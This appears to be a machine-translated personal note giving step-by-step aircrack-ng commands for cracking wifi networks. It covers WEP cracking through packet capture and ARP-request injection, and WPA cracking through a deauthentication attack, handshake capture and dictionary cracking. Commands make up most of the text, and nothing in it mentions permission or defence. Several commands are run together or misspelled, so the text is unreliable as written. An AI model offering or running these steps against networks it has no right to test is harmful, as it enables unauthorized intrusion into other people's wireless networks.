Sorting out the usage of aircrack tools for wifi cracking

Aircrack-ng personal feeling is a super easy to use wifi cracking tool, especially a few years ago, when the router only wep and wpa, for these two kinds of, cracking efficiency should be very high, just do not know how to crack efficiency for wpa2, according to the principle, should be very difficult to crack in a short time, I am not interested in cracking, but still should remember, recently just on the Internet to see a good tutorial, I will pick some of the essence to make a note.

Here's how WEP works:

Ifconfigwlan0 up Mount wireless network card

Airmon-ngstart wlan0 Activates wireless network card for listening mode

Airodump-ngmon0 grab bag

Airodump-ng -ivs -w shujubao -c 6 wlan0 Grab and save

--ivs Here is to set the filter, only save the ivs file used for cracking, you can not add this parameter, how many channels are written, usually 6, this can be seen when grabbing packets, this step may catch several router messages, choose what you want.

Airplay-ng -3 -b Destination MAC -h Client MAC mon0

-3 means arprequesr injection *** mode (parameter 0 will be mentioned later)

Wait for a period of time, specifically how much to wait, that is, wait for more than 1000 data packets, insurance can wait a little longer

Aircrack-ng shujubao-01.ivs cracked, this mode is good to break, of course, take Windows below to break the use of GPU acceleration faster.

Wpa encryption crack:

The following commands are used to capture packets:

Airodump-ng -c 6 -w shujubao mon0

Aireplay-ng -0 10 -a target MAC -c client MAC wlan0 (parameters are very different from WEP)

-0 uses deauth*** mode, followed by *** times, generally effective once.

WPA handshake appears on the screen indicating that the handshake packet has been caught.

Aircrack-ng -w dic shujubao-01.cap

This needs to make their own dictionary, it is recommended to crack the following win, dictionary tools are also more, do one of their own good. You can also throw it on the website to crack, they should have a large rainbow table, personal feeling for complex wpa2 password, this *** way is not very good to use, bad luck, to break a few months is also possible, of course I did not verify, lazy. However, this method was indeed omnipotent, with few restrictions.
